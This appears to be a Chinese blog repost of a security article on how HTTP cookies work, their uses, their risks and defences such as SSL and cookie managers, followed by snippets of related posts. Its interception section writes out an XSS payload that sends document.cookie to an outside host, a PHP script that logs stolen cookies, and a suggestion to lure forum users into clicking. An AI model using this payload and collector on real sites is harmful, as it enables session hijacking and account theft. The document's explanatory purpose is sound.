【转】深入解析cookie

来源:http://www.freebuf.com/articles/web/42802.html

写的超级详细,mark下,刚好学习爬虫的时候,有用到cookie模仿登录的,就顺便了解下。

0×00 引言

在Web技术的发展史上,Cookie技术的出现是一次重大的 变革。但是, Cookie技术又是一项非常有争议的技术,从它诞生之日起就成了广大网络用户和Web开发人员的一个争论焦点,原因不是Cookie的功能太弱,而是认为Cookie的使用会对网络用户的隐私信息构成危害。

Cookie技术最先被Netscape公司引入到Navigator浏览器中。之后,WoridWideWeb协会支持并采纳了Cookie标准,微软也在InternetExpiorer浏览器中使用了Cookie。现在,绝大多数浏览器都支持Cookie,或者至少兼容Cookie技术的使用。目前,几乎所有的网站设计者都使用了Cookie技术。Cookie的广泛使用导致了人们对个人信息安全的担忧。有的网站和机构滥用Cookie,未经访问者的许可就搜集他人的个人资料,达到构建用户数据库、发送广告等营利目的,造成用户隐私信息的泄露。

有鉴于此,系统研究Cookie的技术特性及其存在的安全问题,研究防范Cookie泄露用户隐私信息的措施,不仅能使个人信息的安全得到保障,而且能更安全地利用Cookie技术服务于互联网应用。

0×01 Cookie技术分析

1.1 Cookie定义及其功能

按照Netscape官方文档中的定义,Cookie是指在HTTP协议下,服务器或脚本可以维护客户端计算机上信息的一种方式 。通俗地说,Cookie是一种能够让网站Web服务器把少量数据储存到客户端的硬盘或内存里,或是从客户端的硬盘里读取数据的一种技术。 Cookie文件则是指在浏览某个网站时,由Web服务器的CGI脚本创建的存储在浏览器客户端计算机上的一个小文本文件,其格式为:用户名@网站地址 [数字].txt。

Cookie文件记录了用户的有关信息,如身份识别号码ID、密码、浏览过的网页、停留的时间、用户在Web站点购物的方式或用户访问该站点的次数等,当用户再次链接Web服务器时,浏览器读取Cookie信息并传递给Web站点。

Cookie文件信息片断以“名/值”对(name-vaiuepairs)的形式储存,一个“名/值”对仅仅是一条命名的数据。例如,访问 www.goto.com网站,则该站点可能会在客户端电脑上产生一个包含以下内容的Cookie文件:UserIDA9A3BECE0563982Dwww.goto.com/。goto.com在电脑上存入了一个单一的“名/值”对,其中的“名”是UserID,“值”是A9A3BECE0563982D。

Cookie文件的存放位置与操作系统和浏览器密切相关,这些文件在Windows机器里叫做Cookie文件,在Macintosh机器里叫做MagicCookie文件。对Windows和IE浏览器而言,Cookies文件的存放位置为:

Win9X操作系统:C:\Windows\Cookies;
Winme操作系统:C:\Windows\profiies\用户名\Cookies;
Win2K操作系统:C:\Windows\Cookies;
WinXP操作系统:C:\DocumentsandSet-tings\用户名\Cookies。
Win7以上操作系统:C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Cookies

Cookie的主要功能是实现用户个人信息的记录,它最根本的用途是帮助Web站点保存有关访问者的信息。更概括地说,Cookie是一种保持Web应用程序连续性(即执行状态管理)的方法。

HTTP协议是一种无状态、无连接的协议,不能在服务器上保持一次会话的连续状态信息。随着WWW的不断发展,HTTP的无状态性不能满足某些应用的需求,给Web服务器和客户端的操作带来种种不便。在此背景下,提出HTTP的状态管理机制———Cookie机制,它是对HTTP协议的一种补充,以保持服务器和客户端的连续状态。

1.2 Cookie基本工作原理

Cookie使用HTTPHeader传递数据。Cookie机制定义了两种报头:Set-Cookie报头和Cookie报头。Set-Cookie报头包含于Web服务器的响应头(ResponseHeader)中,Cookie报头包含在浏览器客户端请求头(ReguestHeader)中。

Cookie的运行过程如图所示,具体分析如下

Cookie的运行过程图

(1)客户端在浏览器的地址栏中键入Web服务器的URL,浏览器发送读取网页的请求。

(2)服务器接收到请求后,产生一个Set-Cookie报头,放在HTTP报文中一起回传客户端,发起一次会话。

(3)客户端收到应答后,若要继续该次会话,则将Set-Cook-ie中的内容取出,形成一个Cookie.txt文件储存在客户端计算机里。

(4)当客户端再次向服务器发出请求时,浏览器先在电脑里寻找对应该网站的Cookie.txt文件。如果找到,则根据此Cookie.txt产生Cookie报头,放在HTTP请求报文中发给服务器。

(5)服务器接收到包含Cookie报头的请求,检索其Cookie中与用户有关的信息,生成一个客户端所请示的页面应答传递给客户端。 浏览器的每一次网页请求,都可以传递已存在的Cookie文件,例如,浏览器的打开或刷新网页操作。

0×02 Cookie应用

(1)实现Web中的用户认证

HTTP协议一个很大的缺点就是不作用户身份的判断,这 给编程人员带来很大的不便,而Cookie弥补了这个缺陷。大多数站点在进行用户身份认证时都采用Cookie机制,使用户在通过第一次身份认证以后,无需再多次输入其用户帐号、口令密码等,这样能省去用户登录的繁琐。

(2)定制个性化空间 

Cookie技术方便Web站点为不同用户订制信息,给用户提供个性化、更友好的浏览环境,并能更加准确地收集访问者的信息。例如,为用户提供改变网页内容、布局和颜色的权力,允许用户输入自己的信息,然后通过这些信息对网站的一些参数进行修改,以订制网页的外观。

另外,由于费用、带宽限制等原因,用户访问一个站点时并不希望浏览网页所有的内容。利用Cookie技术根据个人喜好设定栏目,动态地产生用户所需要的内容,这样能够迎合不同层次用户的访问兴趣,减少用户项目选择的次数,更加合理地利用Web服务器的传输带宽。

(3)网站访问统计

由于代理服务器、缓存等的使用,使得能帮助网站精确统计来访人数的方法只能是为每个访问者建立一个唯一的ID。使用Cookie,网站可以完成以下工作:测定多少人访问过;测定访问者中有多少是新用户、多少是老用户;测定一个用户多久访问一次网站。

基本方法是:借助于后台数据库,在用户第一次访问该网站时,网站在数据库中建立一个新的ID,并把ID通过Cookie传送给用户。用户再次来访时,网站把该用户ID对应的计数器加1,得到用户的来访次数或判断用户是新用户还是老用户。

下面设计一段用ASP编写的利用Cookie计数的程序,它具有对用户访问该页面进行计数的功能:

<%@LANGUAGE=JScript%>
<%Varcount=""; 
count=Reguest.Cookies("countnumber");
count=(parseInt(count,l0)+l).toString();Response.Cookies("countnumber")=count;
%>

(4)维护在线电子商务客户信息 

在线订购商务中使用Cookie技术,可记载用户想购买的物品。用户往“购物车”里投放商品,网站便在数据库中用户的ID记录里记录下来。当用户“买单”时,网站通过ID检索数据库中用户的所有选择就知道“购物车”里的物品项目。Cookie能简化订购中的操作,使网上购物更接近现实生活。

(5)记录站点轨迹

再次访问同一网站时Cookie具有被读回的特性。利用这一特性来实现很多的设计功能,如显示用户访问该网页的次数;显示用户上一次的访问时间;记录用户以前在本页中所做的选择等,这可以免去研究复杂的CGI编程。

0×03 Cookie的安全性问题

Cookie的目的是为用户带来方便,为网站带来增值,一般情况下不会造成严重的安全威胁。Cookie文件不能作为代码执行,也不会传送病毒,它为用户所专有并只能由创建它的服务器来读取。另外,浏览器一般只允许存放300个Cookie,每个站点最多存放20个Cookie,每个Cookie的大小限制为4KB,因此,Cookie不会塞满硬盘,更不会被用作“拒绝服务”攻击手段。

但是,Cookie作为用户身份的替代,其安全性有时决定了整个系统的安全性,Cookie的安全性问题不容忽视。

(1)Cookie欺骗

  Cookie记录了用户的帐户ID、密码之类的信息,通常使用MD5方法加密后在网上传递。经过加密处理后的信息即使被网络上一些别有用心的人截获也看不懂。然而,现在存在的问题是,截获Cookie的人不需要知道这些字符串的含义,只要把别人的Cookie向服务器提交,并且能够通过验证,就可以冒充受害人的身份登陆网站,这种行为叫做Cookie欺骗。

非法用户通过Cookie欺骗获得相应的加密密钥,从而访问合法用户的所有个性化信息,包括用户的E-mail甚至帐户信息,对个人信息造成严重危害。

(2)Cookie截获

  Cookie以纯文本的形式在浏览器和服务器之间传送,很容易被他人非法截获和利用。任何可以截获Web通信的人都可以读取Cookie。

Cookie被非法用户截获后,然后在其有效期内重放,则此非法用户将享有合法用户的权益。例如,对于在线阅读,非法用户可以不支付费用即可享受在线阅读电子杂志。

Cookie截获的手段有以下一些。

(1)用编程手段截获Cookie。下面分析其手法,该方法分两步完成。 步骤一:定位需要收集Cookie的网站,对其进行分析并构造URL。 首先打开要收集Cookie的网站,这里假设是http://www.XXX.net,登陆网站输入用户名“<Al>”(不含引号),对数据进行分析抓包,得到如下代码:

http://www.XXX.net/tXl/login/login.pl?username=<Al>&passwd=&ok.X=28&ok.y=6;

将其中“<Al>”更换为:

“<script>alert(document.cookie)</script>”再试,如果执行成功,就开始构造URL:

http://www.XXX.net/tXl/login/login.pl?username=<script>window.open (“http://www.cbifamily.org/cbi.php?”%2bdocument.cookie)</script>&passwd=&ok.X=28&ok.y=6.

其中http://www.cbifamily.org/cbi.php是用户能够控制的某台主机上的一个脚本。需要注意的是“%2b”为符号“+”的URL编码,因为“+”将被作为空格处理。该URL即可在论坛中发布,诱使别人点击。

步骤二:编制收集Cookie的PHP脚本,并将其放到用户可以控制的网站上,当不知情者点击了构造的URL后可以执行该PHP代码。该脚本的具体内容如下:

<?php 
$info=getenv("OUERY_STRING"); 
if($info){  
$fp=fopen("info.tXt","a");  
fwrite($fp,!info."\n"); 
fclose($fp);
} 
header("Location:http://www.XXX.net");
?>

将这段代码放到网络里,则能够收集所有人的Cookie。如果一个论坛允许HTML代码或者允许使用Flash标签,就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可收集到大量的Cookie。在论坛上,有许多人的密码就是被这种方法盗走的。

(2)利用Flash的代码隐患截获Cookie。

  Flash中有一个getURL()函数。Flash可以利用这个函数自动打开指定的网页,它可能把用户引向一个包含恶意代码的网站。例如,当用户在电脑上欣赏Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面,这个页面可以收集Cookie、也可以做一些其他有害的事情。网站无法禁止Flash的这种作为,因为这是Flash文件的内部功能。

(3)Cookie泄漏网络隐私 

  Cookie导致网络隐私泄密的主要原因是:!商业利益驱动。随着电子商务的兴起和互联网上巨大商机的出现,一些网站和机构滥用Cookie,未经访问者的许可,利用搜索引擎技术、数据挖掘技术甚至是网络欺骗技术搜集他人的个人资料,达到构建用户数据库、发送广告等营利目的,造成用户个人隐私的泄漏。"Cookie信息传递的开放性。Cookie文件具有特殊的传递流程 和文本特性,在服务器和客户端之间传送未经安全加密的Cook-ie文件,易导致个人信息的泄密。

0×04 防范Cookie泄密的安全措施

面对Cookie的安全问题,如何才能安全地应用Cookie呢?

(1)加强安全防范意识

Cookie相对来说是无害的,但它能用于跟踪用户,使用Cookie必须意识到其固有的安全弱点。

保存在Cookie中的内容,完全有可能是用户的私人数据。例如,网站为了方便用户,利用Cookie来保存会员的注册信息:电子邮件地址、网站的用户名、用户密码、信用卡号码等,以便用户以后登录该网站时不用重新输入这些数据。如果有人盗取了这样的Cookie文件,他就可以冒充登录网站,这将对用户的个人信息安全构成不可预测的威胁。

因此,只在Cookie中保存一些不重要的数据,如用户首选项或其它对应用程序没有重大影响的信息。如果确实需要在Cook-ie中保存某些敏感信息,就要对其加密,以防被他人盗用。可以对Cookie的属性进行设置, 使其只能在使用安全套接字层(SSL)的连接上传输。SSL并不能防止保存在用户计算机上的Cookie被他人读取或操作,但能防止Cookie在传输途中被他人截获。

(2)配置安全的浏览器

IE和Netscape浏览器的工具栏里,都有禁止Cookie的设置选项,都可以设置当某个站点要在用户的计算机上创建Cookie时,是否给出提示。这样用户就可以选择允许或拒绝创建Cook-ie。需要注意的是,某些网站的应用必须使用Cookie,简单地禁止可能导致无法正常浏览此类网站。

使用IE6会更安全。最新的IE6提供了多种隐私保护功能,包括:查看网站的P3P隐私策略,以了解该网站如何使用个人可识别信息;通过Cookie隐私设置决定是否允许将网站的Cookie保存在计算机上;在访问不符合隐私设置条件的站点时发出隐私警报。用户可以有选择性地设置Cookie。

(3)安装Cookie管理工具

①CookieCrusher。LimitSoftware公司的Crusher适用于Netscape用户,其功能有:管理计算机上已有的Cookie、设置禁止或允许创建Cookie的网站列表、在创建新Cookie与修改已经存在的Cookie时发出警告、禁止第三方网站Cookie、实时控制接受或拒绝来自站点的Cookie、记录Cookie活动日志、编辑Cookie等,并且在网上浏览时,程序独创的分析功能可以自动确定网站要求创建的Cookie的目的,如:判断网站是把Cookie用于存储用户输入的资料还是准备利用Cookie跟踪用户的浏览习惯等。

②CookiePaI。除了浏览器能使用Cookie, 其它的互联网软件也可能使用,如邮件程序等。为了维护网络隐私的安全,同时又能保证一些互联网软件正确地使用Cookie文件,可以安装Kooka-burraSoftware公司的支持多种软件的Cookie管理工具CookiePaI。它专门用于Cookie管理,支持用户查看、删除、编辑已经存在的Cookie,自动地实时控制是否接受Cookie,根据过期时间过滤Cookie,它还能够记录Cookie的活动,编辑拒绝或允许Cookie的网站列表。

(4)删除内存中的Cookies

Cookie的信息并不都是以文件形式存放在硬盘中,还有部分信息保存在内存里。这类Cookie通常是用户在访问某些特殊网站时,由系统自动在内存中生成的。一旦访问者离开该网站,系统又自动将Cookie从内存中删除。对此,需要借助注册表编辑器来修改系统设置,运行Regedit,找到如下键值:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur-rentversion\InternetSettings\Cache\SpeciaIPaths\Cookies,这是Cookies在内存中的键值,把这个键值删除。右键单击“Cook-ies”,再单击快捷菜单中的“删除”命令确认删除。

(5)使用AAS技术

2002年,美国IngrianNetworks公司发表了可以使Web站点 免受“CookiePoisoning(Cookie篡改)”攻击的平台“ActiveAppIi-cationSecurity(AAS)”。AAS平台能对Cookie内部的重要信息进行加密处理,并附上电子签名。Web服务器每次和客户端进行通信时,将利用电子签名对Cookie的内容进行确认。如果恶意用户删除了电子签名或者更改了信息内容,将会使电子签名和Cookie的内容无法再匹配。这时,AAS便会阻止这条Cookie并拒绝向Web站点返回信息。另外,该平台还对Cookie内容进行了3DES加密,解密需要口令,通过这种方法安全地保存Cookie。WWW服务器和客户端之间的通信还全部利用了SSL连接方式,以确保通信路由的安全。通过综合运用电子签名、加密、SSL连接等技术组成强效的安全方案,可以排除通信路由及数据存储两方面存在的脆弱性,杜绝对Cookie的篡改。

0×05 结束语

Cookie是Web服务器发送的存储在客户端系统中以备未来查询的少量信息。Cookie的主要目的是保存信息,主要用途是存储用户的标志和密码,另外还可以存储用户所有可能设置的偏好。从编程的角度来看,Cookie可用于解决状态管理问题。

事实上,信息若不与个人信息相联系,Cookie相对来说是无害的。然而,Cookie能用于跟踪用户,存在Cookie欺骗、泄露隐私等安全性问题,会对网络用户的信息安全构成威胁。

加强防范意识,了解Cookie固有的安全弱点;配置安全的浏览器;使用Cookie管理工具;利用电子签名、加密、SSL连接等技术对Cookie数据进行加密处理传输,这些措施能有效地防止Cookie泄露用户隐私,保障个人信息安全,从而使Cookie能够更安全地服务于Web应用。

尽管Cookie技术存在争议,但它不会消亡,需要研究更好的安全技术对其完善和发展。Cookie技术未来将拥有更大的生存和发展空间。

时间: 2024-10-11 20:43:31

【转】深入解析cookie的相关文章

用python模拟登录(解析cookie + 解析html + 表单提交 + 验证码识别 + excel读写 + 发送邮件)

老婆大人每个月都要上一个网站上去查数据,然后做报表. 为了减轻老婆大人的工作压力,所以我决定做个小程序,减轻我老婆的工作量. 准备工作 1.tesseract-ocr 这个工具用来识别验证码,非常好用. ubuntu上安装: sudo apt-get install tesseract-ocr 非常简单. 2.pytesseract和PIL(pillow) pytesseract用来在python中调用tesseract-ocr,PIL(pillow)用来加载图片,安装方法如下: pip3 in

ASP.NET-后台cookie与前台JQUERY解析cookie

在controller中给cookie赋值 HttpCookie cookie = new HttpCookie("pageInfo"); cookie["page_index"] = page_index.ToString(); cookie["page_count"] = page_count.ToString(); Response.AppendCookie(cookie); 前端用getCookie来操作cookie $("#u

菜鸟详细解析Cookie注入原理

一.SQL注入原理 我以aspx为例,现在我们来研究下Cookie注入是怎么产生的,在获取URL参数的时候,如果在代码中写成Request["id"],这样的写法问题就出现了.我先普及下科普知识,在aspx中Request.QueryString["id"]用于接收get提交的数据,Request.Form["id"]用于接收post提交的数据.如果不指定使用QueryString还是Form接收数据,WEB服务是怎样读取数据的呢,他是先取GET

深入浅出,解析cookie与session

一.session和cookie的特征 很多人认为,session是服务端的,cookie是客户端的.其实呢,session和cookie都是服务器产生的,都是键值对应的. ** session是保存在服务器的,服务器会生成对应的session文件,cookie是返回给客户端的,然后客户端在存储相关文件.** session在服务器的入口是ID,然后服务器查出对应的的值,通过类似cookie的形式,返回给客户端(相当于买电影票).客户端(浏览器),会在发送请求的时候,自动将本地存活的cookie

.Net Core 认证系统之Cookie认证源码解析

接着上文.Net Core 认证系统源码解析,Cookie认证算是常用的认证模式,但是目前主流都是前后端分离,有点鸡肋但是,不考虑移动端的站点或者纯管理后台网站可以使用这种认证方式.注意:基于浏览器且不是前后端分离的架构(页面端具有服务端处理能力).移动端就不要考虑了,太麻烦.支持前后端分离前给移动端提供认证Api的一般采用JwtBearer认证,可以和IdentityServer4的password模式结合.很适用,但是id4的password模式各客户端必须绝对信任,因为要暴露用户名密码.适

PHP用COOKIE实现一套SESSION机制

PHP的 SESSION是根据访客浏览器传过来的SESSION ID(表现为一个COOKIE) 来找到服务器的会话文件(/tmp/SESS_ID),以便通过$_SESSION数组读取里面的内容(会话变量). 利用PHP的SESSION可以很方便地实现购物车,验证码,csrf_token的记录. 可以用一个会话变量存储经过serialize序列化成串的关联数组. 两种方式的比较 : COOKIE(PHPSESSID) -> /tmp/SESS_XXX -> $_SESSION数组 COOKIE(

Session 与 Cookie

Session 与 Cookie 的作用都是为了保持访问用户与后端服务器的交互状态.它们本身只是HTTP中的一个配置项,在servlet规范中也只对应一个类而已. 理解 Cookie 通俗地说就是当一个用户通过 HTTP 协议访问一个服务器的时候,这个服务器会将一些 Key/Value 键值对返回给客户端浏览器,并给这些数据加上一些限制条件,在条件符合时这个用户下次访问这个服务器的时候,数据又被完整地带回给服务器.W3C 在设计 Cookie 时实际上考虑的是为了记录用户在一段时间内访问 Web

Cookie和Session的那些事儿

Cookie和Session都是为了保持用户的访问状态,一方面为了方便业务实现,另一方面为了简化服务端的程序设计,提高访问性能.Cookie是客户端(也就是浏览器端)的技术,设置了Cookie之后,每次访问服务端,请求中都会带上Cookie:Session是服务端技术,在服务端存储用户的访问信息. 使用Cookie传递信息,随着Cookie个数增多和访问量增大,它占用的带宽会越来越大:使用Session保存信息,最大的弱点就是不容易在多台服务器之间共享. 1 Cookie 通俗地讲,当用户使用H

JavaEE 要懂的小事:二、图解 Cookie(小甜饼)

Writer      :BYSocket(泥沙砖瓦浆木匠) 微         博:BYSocket 豆         瓣:BYSocket FaceBook:BYSocket Twitter    :BYSocket 上一篇 图解Http协议 ,这次继续Http家族中的Cookie.泥瓦匠最近看到博客园中一篇好文,如图: 这就是因为浏览器Cookie太大,导致请求时,请求头域过大造成发送失败.下面咱们就了解了解Cookie.按着以前的思路图文并茂哈,没图说个XX. 一.概述 首先从HTTP